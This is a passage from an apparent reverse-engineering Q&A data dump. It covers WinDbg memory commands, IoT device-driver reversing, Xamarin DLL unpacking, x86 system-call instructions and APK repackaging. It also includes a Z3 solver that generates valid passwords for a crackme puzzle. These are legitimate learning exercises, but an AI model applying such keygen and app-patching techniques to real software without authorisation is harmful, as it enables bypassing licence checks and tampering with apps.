dereferences a pointer ( either 4 or 8 bytes based on arch)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;suppose you have code like this &#xA;if you compile with using&lt;br&gt;&#xA;vc++ &lt;strong&gt;cl /Zi /Od /EHsc /analyze /W4 dds.cpp /link /RELEASE&lt;/strong&gt;&#xA;and execute it &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;char *azz = &quot;forever&quot;;&#xA;char *bzz = &quot;learning&quot;;&#xA;char *czz = &quot;for&quot;;&#xA;char *dzz = &quot;ever&quot;;&#xA;char *ezz = &quot;learn&quot;;&#xA;char *fzz = &quot;ing&quot;;&#xA;char *gzz = &quot;for&quot;;&#xA;char *hzz = &quot;eve&quot;;&#xA;char *f[] = {azz,bzz,czz,dzz,ezz,fzz,gzz,hzz};&#xA;int main () {&#xA;&#xA;    char **moo[] = { &amp;amp;f[0],&amp;amp;f[1],&amp;amp;f[2],&amp;amp;f[3],&amp;amp;f[4],&amp;amp;f[5],&amp;amp;f[6],&amp;amp;f[7] };&#xA;    char *meow[] = {  f[0], f[1], f[2], f[3], f[4], f[5], f[6], f[7] };&#xA;    for(int i =0;i &amp;lt;_countof(f);i++)&#xA;    {&#xA;        printf(&quot;%p %10s\n&quot; ,moo[i],meow[i]);&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you will get a result like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;012158A0    forever&#xA;012158A4   learning&#xA;012158A8        for&#xA;012158AC       ever&#xA;012158B0      learn&#xA;012158B4        ing&#xA;012158B8        for&#xA;012158BC        eve&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you set a breakpoint on line 18 &#xA;and do dds you can see how windbg resolves the char** to module!symbol notation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;windbg -c &quot;bp `dds!dds.cpp:18`;g&quot; dds.exe&#xA;&#xA;&#xA;0:000&amp;gt; bl&#xA;     0 e Disable Clear  013910d0  [c:\dds.cpp @ 18]     0001 (0001)  0:**** dds!main+0x70&#xA;&#xA;0:000&amp;gt; .lastevent&#xA;Last event: 808.1b8: Hit breakpoint 0      &#xA;0:000&amp;gt; rM0&#xA;dds!main+0x70:&#xA;013910d0 ff743430        push    dword ptr [esp+esi+30h] &#xA;ss:0023:002cfa50=013cb1a0&#xA;&#xA;0:000&amp;gt; dds esp l14    &#xA;002cfa20  013d5678 dds!__argc&#xA;002cfa24  013d40f0 dds!_iob+0x90&#xA;002cfa28  00000fa0&#xA;002cfa2c  00000000&#xA;002cfa30  013d48a0 dds!f   &amp;lt;---------&#xA;002cfa34  013d48a4 dds!f+0x4 &amp;lt;------&#xA;002cfa38  013d48a8 dds!f+0x8 &amp;lt;------&#xA;002cfa3c  013d48ac dds!f+0xc &amp;lt;-----&#xA;002cfa40  013d48b0 dds!f+0x10 &amp;lt;-------&#xA;002cfa44  013d48b4 dds!f+0x14 &amp;lt;--------&#xA;002cfa48  013d48b8 dds!f+0x18 &amp;lt;---------&#xA;002cfa4c  013d48bc dds!f+0x1c &amp;lt;---------&#xA;002cfa50  013cb1a0 dds!__xt_z+0x4&#xA;002cfa54  013cb1a8 dds!__xt_z+0xc&#xA;002cfa58  013cb1b4 dds!__xt_z+0x18&#xA;002cfa5c  013cb1b8 dds!__xt_z+0x1c&#xA;002cfa60  013cb1c0 dds!__xt_z+0x24&#xA;002cfa64  013cb1c8 dds!__xt_z+0x2c&#xA;002cfa68  013cb1cc dds!__xt_z+0x30&#xA;002cfa6c  013cb1d0 dds!__xt_z+0x34&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you do dda esp you can see the strings &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dda esp l14&#xA;002cfa20  013d5678 &quot;.&quot;&#xA;002cfa24  013d40f0 &quot;...&quot;&#xA;002cfa28  00000fa0&#xA;002cfa2c  00000000&#xA;002cfa30  013d48a0 &#xA;002cfa34  013d48a4 &#xA;002cfa38  013d48a8 &#xA;002cfa3c  013d48ac &#xA;002cfa40  013d48b0 &#xA;002cfa44  013d48b4 &#xA;002cfa48  013d48b8 &#xA;002cfa4c  013d48bc &#xA;002cfa50  013cb1a0 &quot;forever&quot;  &amp;lt;---------------&#xA;002cfa54  013cb1a8 &quot;learning&quot; &amp;lt;-----------&#xA;002cfa58  013cb1b4 &quot;for&quot; &amp;lt;--------------&#xA;002cfa5c  013cb1b8 &quot;ever&quot;&#xA;002cfa60  013cb1c0 &quot;learn&quot;&#xA;002cfa64  013cb1c8 &quot;ing&quot;&#xA;002cfa68  013cb1cc &quot;for&quot;&#xA;002cfa6c  013cb1d0 &quot;eve&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you happen to compile check dpp ddp etc on both 32 bit and 64 bit binary&#xA;for the same stack&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-10-09T19:51:14.737" LastActivityDate="2017-10-09T19:51:14.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16506" PostTypeId="1" CreationDate="2017-10-07T20:03:36.030" Score="1" ViewCount="118" Body="&lt;p&gt;I am currently trying to reverse an IoT machine running the 2.6 Linux Kernel on which I have root. On this machine, software writes to /dev/&lt;em&gt;some_device&lt;/em&gt; to control what I believe to be are GPIO pins for a serial bus. In order to take control of these GPIO pins, I have been attempting to reverse the on-board software to grasp how the drivers are looking for input, but the decompilation has been messy/missing parts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, my question: &#xA;&lt;strong&gt;Am I able to redirect program output intended for /dev/&lt;em&gt;some_device&lt;/em&gt; to a text file for analysis?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the current mapping:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Program -&gt; (char sequence) -&gt; /dev/*char_device*&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am looking for a way to redirect the program output from the device to a text file, or better, any writes to the device to a text file. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Program -&gt; (char sequence) --\       /dev/*char_device*&#xA;                              \&#xA;                               \-----&gt; *my_text_file*&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, my motivation to do so is to analyze how the driver is expecting input. I already know my logical input/output/return communications on the serial bus, I just need to be able to determine the specifics of the device driver. Any help is appreciated. Let me know if more information is required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Update-&#xA;Here is a method I tracked down in the source code decompliation. While I cannot verify that this is the exact handler for the devices I'm targeting, it used by devices with similar names. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;// Address range: 0x1000c470 - 0x1000c6f7&#xA;int32_t function_1000c470(int32_t * a1, int32_t a2, int32_t a3, char * path) {&#xA;    int32_t v1 = (int32_t)a1;&#xA;    int32_t v2; // bp-144&#xA;    int32_t v3 = &amp;v2; // 0x1000c470_0&#xA;    v2 = v3;&#xA;    g602 = v3;&#xA;    int32_t fd = open(path, O_RDWR);&#xA;    int32_t * fd2 = (int32_t *)(v1 + 4); // 0x1000c4a8_0&#xA;    *fd2 = fd;&#xA;    if (*fd2  0x1000c6d8&#xA;    } else {&#xA;        // 0x1000c500&#xA;        fprintf(g94, &quot;opening serial device %s with fd %d\n&quot;, path, *fd2);&#xA;        int32_t termios_p;&#xA;        tcgetattr(*fd2, (struct termios *)&amp;termios_p);&#xA;        cfmakeraw((struct termios *)&amp;termios_p);&#xA;        cfsetospeed((struct termios *)&amp;termios_p, 9);&#xA;        cfsetispeed((struct termios *)&amp;termios_p, 9);&#xA;        tcsetattr(*fd2, TCSANOW, (struct termios *)&amp;termios_p);&#xA;        ioctl(*fd2, 0x5415);&#xA;        g1 &amp;= -0x2000001;&#xA;        ioctl(*fd2, 0x5418);&#xA;        *(int32_t *)(v1 + 16) = 0;&#xA;        *(int32_t *)(v1 + 20) = 0;&#xA;        int32_t * v4 = (int32_t *)(4 * *fd2 / 32 + v1 + 1668); // 0x1000c630_0&#xA;        *v4 = 1  0x1000c674&#xA;        }&#xA;        // 0x1000c674&#xA;        *(int32_t *)(v1 + 8) = v7 + 1;&#xA;        *(int32_t *)(v1 + 1624) = 0;&#xA;        *(int32_t *)(v1 + 1620) = 0;&#xA;        *(int32_t *)(v1 + 1628) = 0;&#xA;        memset((char *)(v1 + 120), 0, 1500);&#xA;        function_1000c6f8(*fd2, 0);&#xA;        // branch -&gt; 0x1000c6d8&#xA;    }&#xA;    int32_t v8 = v2; // 0x1000c6dc&#xA;    g602 = *(int32_t *)(v8 - 4);&#xA;    return *(int32_t *)(v8 + 4);&#xA;}&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="21872" LastEditorUserId="21872" LastEditDate="2017-10-09T01:01:21.613" LastActivityDate="2017-10-09T19:53:53.233" Title="Redirecting Program Output from /dev/*char_device* to Text File" Tags="|firmware|linux|driver|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16508" PostTypeId="1" AcceptedAnswerId="16631" CreationDate="2017-10-08T01:35:27.337" Score="2" ViewCount="3309" Body="&lt;p&gt;I have an apk that was written in xamarin. The meta data suggests there are lots of dlls files this application uses. I found a file called libmonodroid_bundle_app.so which when disassembled in IDA appears to be a packer/unpacker with functions like inflate, my_inflate, install_dll_config_files etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to unpack whatever dll files are contained in this, can anyone give any suggestions how I can do this? There is an x86 compiled .so file, so perhaps I can execute it in windows somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: It appears it is packed with zlib. There are nice named headers in the file so I will try exporting the raw data then using a zlib library to decompress.&lt;/p&gt;&#xA;" OwnerUserId="16675" LastEditorUserId="16675" LastEditDate="2017-10-08T01:42:04.710" LastActivityDate="2018-03-16T16:03:00.290" Title="Unpacking xamarin mono dll from libmonodroid_bundle.app.so" Tags="|android|arm|dll|packers|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16509" PostTypeId="1" AcceptedAnswerId="16513" CreationDate="2017-10-08T11:11:38.660" Score="4" ViewCount="2147" Body="&lt;p&gt;I'm a newbie who just started own way through reverse engineering so I apologize if my question is not appropriate.&#xA;Currently I'm going through different Crackme puzzles and now I'm stuck. I've spend a couple of days trying to solve it but I can't. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We enter a login and a password. Then we apply &lt;em&gt;algorithm #1&lt;/em&gt; on login. And &lt;em&gt;algorithm #2&lt;/em&gt; on password. In both cases we get a number as a result. And if the two numbers are equal, then the password is correct. I'm trying to find a way to generate a correct password for any given login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've figured out both algorithms with IDA and wrote a program in C++ to test my solutions. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Algorithm For Login&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Login should be at least 4 chars.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;login = &quot;Vasya_Pupkin&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;1) From login we get two first chars (&quot;Va&quot;) and two last (&quot;in&quot;) and write its ASCII-code into hex number:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;V = 0x56, a = 0x61, i = 0x69, n = 0x6e&#xA;hexVain = 0x5661696e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) We go through the login string and add up all ASCII-codes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for (int j = 0; j &amp;lt; login.length(); j++)        &#xA;    asciiSum += login[j];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For &lt;code&gt;Vasya_Pupkin&lt;/code&gt; we get &#xA;    &lt;code&gt;asciiSum = 0x4da&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) We xor those values with some number 0xfec0135a:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hexVain ^ asciiSum ^ 0xfec0135a&#xA;magicValueLogin = 0xa8a17eee&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Algorithm For Password&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Password should be at least 12 chars and should contain only'a'-'f', 'A'-'F', '0'-'9'.&#xA;We enter password as string. Then we divide the length by 2.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;password_str = &quot;011c0d0f090e00&quot;;&#xA;n = password_str.length() / 2;  // n = 7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then we convert string representation to hex and aplly this algorithm:&#xA;We go through every byte from left to right and calculate new magic value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;password = 0x011c0d0f090e00;&#xA;magicValuePass = 0xadde;&#xA;for (int i = 0; i &amp;lt; n; i++)&#xA;{&#xA;    // we count bytes from left to right&#xA;    passByte = getByte(password, i);    &#xA;&#xA;    // multiplication by 32 is left shift for 5 bytes&#xA;    magicValuePass = passByte ^ (32 * magicValuePass + 1) ^ 0xdeadbeef;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output of this function is following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Byte:  01&#xA;Magic: deb8052f&#xA;&#xA;Byte:  1c&#xA;Magic: 9ad1b12&#xA;&#xA;Byte:  0d&#xA;Magic: eb0edca3&#xA;&#xA;Byte:  0f&#xA;Magic: bf762a81&#xA;&#xA;Byte:  09&#xA;Magic: 3068eec7&#xA;&#xA;Byte:  0e&#xA;Magic: d3b06600&#xA;&#xA;Byte:  00&#xA;Magic: a8a17eee&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the end we get &lt;code&gt;magicValuePass = 0xa8a17eee&lt;/code&gt; which is the same value we get for login so the password is correct.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;What I've Tried&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I thought about reversing &lt;code&gt;magicValuePass&lt;/code&gt; generation but but came to conclusion that's a bad idea. &lt;/p&gt;&#xA;" OwnerUserId="21815" LastActivityDate="2017-10-09T10:54:39.540" Title="Identify password generation algorithm" Tags="|encryption|decryption|xor|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16510" PostTypeId="2" ParentId="16508" CreationDate="2017-10-08T14:45:47.443" Score="1" Body="&lt;p&gt;If you want to extract these packed files (assuming that they are, indeed, packed), I would suggest using a File Carver forensics tool - I use a Unix-based program, &lt;a href=&quot;http://foremost.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;foremost&quot;&gt;foremost&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File Carvers can search inside other files and attempt to find &lt;strong&gt;file headers&lt;/strong&gt;, or signatures, that denote the start of a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you succeed in finding files inside of whatever files you search, you might find that they aren't yet accessible because you remarked that they were compressed with zlib - easy! Just rename that file to somename.zip and extract it, or write some code to extract them all yourself if you really want to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="20698" LastActivityDate="2017-10-08T14:45:47.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16511" PostTypeId="2" ParentId="16454" CreationDate="2017-10-08T21:33:51.947" Score="14" Body="&lt;p&gt;The Intel and AMD instruction sets are similar but not identical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many examples of that: FMA3/FMA4, AMD-V and VT-x (and their extensions), etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fast system call interface is yet another difference.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Intel supports &lt;code&gt;SYSENTER&lt;/code&gt; in all modes&lt;sup&gt;1&lt;/sup&gt; - Legacy Mode (or, on the few 32-bit only Intel CPUs, simply Protected Mode), Long Mode and Compatibility Mode. (It doesn't work in Real Mode, obviously, and the from now on I'm ignoring it.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Intel supports &lt;code&gt;SYSCALL&lt;/code&gt; only in 64-bit Long Mode&lt;sup&gt;2&lt;/sup&gt; (not compat. mode). It also requires setting a bit in some MSR.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;AMD supports &lt;code&gt;SYSENTER&lt;/code&gt; only in Legacy Mode&lt;sup&gt;3&lt;/sup&gt;, not in any of the Long Mode submodes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;AMD supports &lt;code&gt;SYSCALL&lt;/code&gt; in all modes&lt;sup&gt;4&lt;/sup&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So as the &lt;a href=&quot;http://wiki.osdev.org/SYSENTER&quot; rel=&quot;noreferrer&quot;&gt;OSDEV page on the topic says&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In 64-bit Long Mode - only &lt;code&gt;SYSCALL&lt;/code&gt; works on both ISAs. (&lt;code&gt;SYSENTER&lt;/code&gt; doesn't work on AMD.)&lt;/li&gt;&#xA;&lt;li&gt;In Legacy Mode - only &lt;code&gt;SYSENTER&lt;/code&gt; works on both ISAs. (&lt;code&gt;SYSCALL&lt;/code&gt; doesn't work on Intel.)&lt;/li&gt;&#xA;&lt;li&gt;There's no single instruction that works on both Intel and AMD in Compatibility Mode (&lt;code&gt;SYSENTER&lt;/code&gt; doesn't work on AMD and &lt;code&gt;SYSCALL&lt;/code&gt; doesn't work on Intel), but there's no need for one. A 32-bit kernel will stay in Legacy Mode after boot.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;1&lt;/sup&gt; &lt;a href=&quot;https://software.intel.com/sites/default/files/managed/7c/f1/253667-sdm-vol-2b.pdf&quot; rel=&quot;noreferrer&quot;&gt;Intel® 64 and IA-32 architectures software developer's manual volume 2B: Instruction set reference, M-U&lt;/a&gt;, p. 4-668&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;2&lt;/sup&gt; &lt;a href=&quot;https://software.intel.com/sites/default/files/managed/7c/f1/253667-sdm-vol-2b.pdf&quot; rel=&quot;noreferrer&quot;&gt;Intel® 64 and IA-32 architectures software developer's manual volume 2B: Instruction set reference, M-U&lt;/a&gt;, p. 4-666&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;3&lt;/sup&gt; &lt;a href=&quot;http://support.amd.com/TechDocs/24594.pdf&quot; rel=&quot;noreferrer&quot;&gt;AMD64 Architecture Programmer’s Manual Volume 3: General-Purpose and System Instructions&lt;/a&gt;, p. 423&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;4&lt;/sup&gt; &lt;a href=&quot;http://support.amd.com/TechDocs/24594.pdf&quot; rel=&quot;noreferrer&quot;&gt;AMD64 Architecture Programmer’s Manual Volume 3: General-Purpose and System Instructions&lt;/a&gt;, p. 419&lt;/p&gt;&#xA;" OwnerUserId="3939" LastEditorUserId="3939" LastEditDate="2017-10-09T01:26:16.867" LastActivityDate="2017-10-09T01:26:16.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16512" PostTypeId="2" ParentId="16508" CreationDate="2017-10-08T23:54:37.577" Score="2" Body="&lt;p&gt;Here is my solution to unpack the files in C#.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could not figure out how the 64 byte alignment works so I hard coded an offset of 0xD60 for the words that did not lie on the alignment boundary. I believe this is the offset of the next free page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone else wants to use this solution they will either need to find the page offset manually using IDA etc or figure out how to get it dynamically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the katai struct library to parse the elf file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;using Kaitai; //http://formats.kaitai.io/elf/csharp.html&#xA;&#xA;static void Main(string[] args)&#xA;{&#xA;&#xA;    var path = @&quot;C:\path\libmonodroid_bundle_app.so&quot;;&#xA;    var bytes = File.ReadAllBytes(path);&#xA;&#xA;    var elf = Elf.FromFile(path);&#xA;&#xA;    var rodata = elf.Header.SectionHeaders.FirstOrDefault(x =&amp;gt; x.Name.Equals(&quot;.rodata&quot;));&#xA;    if (rodata == null)&#xA;    {&#xA;        Console.WriteLine(&quot;.rodata not found&quot;);&#xA;        Console.ReadKey();&#xA;        return;&#xA;    }&#xA;&#xA;    //read in all the packed file names&#xA;    var packedFiles = new List&amp;lt;string&amp;gt;();&#xA;    uint addr = (uint)rodata.Addr;&#xA;    while (true)&#xA;    {&#xA;        //up to 16 bytes of alignment&#xA;        uint i;&#xA;        for (i = 0; i &amp;lt; 16; i++) if (bytes[addr + i] != 0) break;&#xA;&#xA;        if (i == 16) break; //We found all the files&#xA;        else addr += i;&#xA;&#xA;        var name = GetString(bytes, addr);&#xA;        if (string.IsNullOrWhiteSpace(name)) break;&#xA;&#xA;        //We only care about mono dlls&#xA;        if (!name.EndsWith(&quot;.dll&quot;)) break;&#xA;&#xA;        packedFiles.Add(name);&#xA;        addr += (uint)name.Length + 1u;&#xA;    }&#xA;&#xA;&#xA;    var data = elf.Header.SectionHeaders.FirstOrDefault(x =&amp;gt; x.Name.Equals(&quot;.data&quot;));&#xA;    if (data == null)&#xA;    {&#xA;        Console.WriteLine(&quot;.data not found&quot;);&#xA;        Console.ReadKey();&#xA;        return;&#xA;    }&#xA;&#xA;    //Read in all the packed file pointers and sizes and then decompress and dump them&#xA;    addr = (uint) (data.Offset);&#xA;    for (int i = 0; i &amp;lt; packedFiles.Count; i++)&#xA;    {&#xA;        //0xD60 is a magic offset due to 64 byte alignment. I am not sure how to dynamically generate this&#xA;        //offset hence this solution will need you to manually find this offset to work with other SO files.&#xA;        var ptr = GetBigEndianUInt32(bytes, addr+0xD60);    &#xA;        var length = GetBigEndianUInt32(bytes, addr+8);&#xA;&#xA;        var compressedbytes = new byte[length];&#xA;        Array.Copy(bytes, ptr, compressedbytes, 0, length);&#xA;        try&#xA;        {&#xA;            var decompbytes = Decompress(compressedbytes);&#xA;            File.WriteAllBytes($@&quot;{packedFiles[i]}&quot;, decompbytes);&#xA;        }&#xA;        catch (Exception e)&#xA;        {&#xA;            Console.WriteLine($&quot;Failed to decompress file: {packedFiles[i]} {e}&quot;);&#xA;        }&#xA;        addr += 0x10; //sizeof assembly_bundle struct&#xA;    }&#xA;&#xA;&#xA;&#xA;&#xA;}&#xA;&#xA;static byte[] Decompress(byte[] data)&#xA;{&#xA;    using (var compressedStream = new MemoryStream(data))&#xA;    using (var zipStream = new GZipStream(compressedStream, CompressionMode.Decompress))&#xA;    using (var resultStream = new MemoryStream())&#xA;    {&#xA;        zipStream.CopyTo(resultStream);&#xA;        return resultStream.ToArray();&#xA;    }&#xA;}&#xA;&#xA;public static uint GetBigEndianUInt32(byte[] bytes, uint address)&#xA;{&#xA;    uint byte1 = (uint)bytes[(int)address + 3] &amp;lt;&amp;lt; 24;&#xA;    uint byte2 = (uint)bytes[(int)address + 2] &amp;lt;&amp;lt; 16;&#xA;    uint byte3 = (uint)bytes[(int)address + 1] &amp;lt;&amp;lt; 8;&#xA;    uint byte4 = (uint)bytes[(int)address];&#xA;    return (byte1 + byte2 + byte3 + byte4);&#xA;}&#xA;&#xA;public static string GetString(byte[] bytes, uint address)&#xA;{&#xA;    int maxLength = 255;&#xA;    //Search for a null char up to the limit&#xA;    for (int i = (int)address; i &amp;lt; address + maxLength; i++)&#xA;    {&#xA;        if (bytes[i] == 0)&#xA;        {&#xA;            maxLength = i - (int)address;&#xA;            break;&#xA;        }&#xA;    }&#xA;&#xA;    var buffer = new byte[maxLength];&#xA;    Array.Copy(bytes, address, buffer, 0, maxLength);&#xA;    return Encoding.ASCII.GetString(buffer);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16675" LastActivityDate="2017-10-08T23:54:37.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16513" PostTypeId="2" ParentId="16509" CreationDate="2017-10-09T08:20:53.980" Score="2" Body="&lt;p&gt;As you have just started into RE, try looking into SAT solvers. &lt;a href=&quot;https://github.com/Z3Prover/z3&quot; rel=&quot;nofollow noreferrer&quot;&gt;Z3&lt;/a&gt; is a great tool that will help you in such simple tasks with APIs in all major languages. Here is a solution I tried in python.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;password = BitVec(&quot;password&quot;,64)&#xA;magicValuePass = BitVec(&quot;magicValuePass&quot;,64)&#xA;&#xA;s = Solver()&#xA;idx = 7&#xA;magicValuePass =  (((password&amp;amp;(0xff&amp;lt;&amp;lt;(8*idx)))&amp;gt;&amp;gt;(8*idx))^ (32 * 0xadde + 1) ^ 0xdeadbeef) &amp;amp; 0xffffffff&#xA;for i in xrange(6,0,-1):&#xA;    magicValuePass =  (((password&amp;amp;(0xff&amp;lt;&amp;lt;(8*i)))&amp;gt;&amp;gt;(8*i))^ (32 * magicValuePass + 1) ^ 0xdeadbeef) &amp;amp; 0xffffffff&#xA;&#xA;s.add(magicValuePass == magicValueLogin)&#xA;&#xA;if s.check() == sat:&#xA;    print hex(s.model()[password].as_long())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First declare &lt;code&gt;password&lt;/code&gt; to be a 64 bit variable. Then iterate byte by byte  calculating the intermediate values and finally set the &lt;code&gt;magicValuePass&lt;/code&gt; equal to &lt;code&gt;magicValueLogin&lt;/code&gt;. If a solution exists to such conditions Z3 will run for some time and give the solution which is printed.&#xA;&lt;a href=&quot;https://gist.github.com/sudhackar/ccd20ec5b412f8aae4fba651be8e8429&quot; rel=&quot;nofollow noreferrer&quot;&gt;Full script here&lt;/a&gt; which on running gives such output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python test-so.py Vasya_Pupkin&#xA;0x11c0d0f090e0000&#xA;$ python test-so.py ABCD        &#xA;0x1171f0902111a00&#xA;$ python test-so.py DEfg&#xA;0x1150f070b1a0500&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2017-10-09T08:20:53.980" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16514" PostTypeId="2" ParentId="8044" CreationDate="2017-10-09T09:43:44.637" Score="2" Body="&lt;p&gt;After playing with smali/baksmali I got it working. I think you didn't use the &lt;strong&gt;recursive flag when zipping&lt;/strong&gt;. This caused the res folder to be empty which caused the crash. Also I run zipalign after signing the apk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Unzip&lt;br&gt;&#xA;&lt;code&gt;$ unzip test.apk&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Baksmali&lt;br&gt;&#xA;&lt;code&gt;$ baksmali classes.dex -o smaliClasses&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Smali&lt;br&gt;&#xA;&lt;code&gt;$ smali smaliClasses -o classes.dex&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Zip -r&lt;br&gt;&#xA;&lt;code&gt;$ zip -r test.apk AndroidManifest.xml classes.dex res/ resources.arsc&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Jarsign&lt;br&gt;&#xA;&lt;code&gt;$ java -jar signapk.jar testkey.x509.pem  testkey.pk8 test.apk  test-patched.apk&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;Zipalign&lt;br&gt;&#xA;&lt;code&gt;$ zipalign -v 4 test-patched.apk final-apk.apk&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Profit :) &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21881" LastEditorUserId="21881" LastEditDate="2017-10-11T14:28:03.367" LastActivityDate="2017-10-11T14:28:03.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
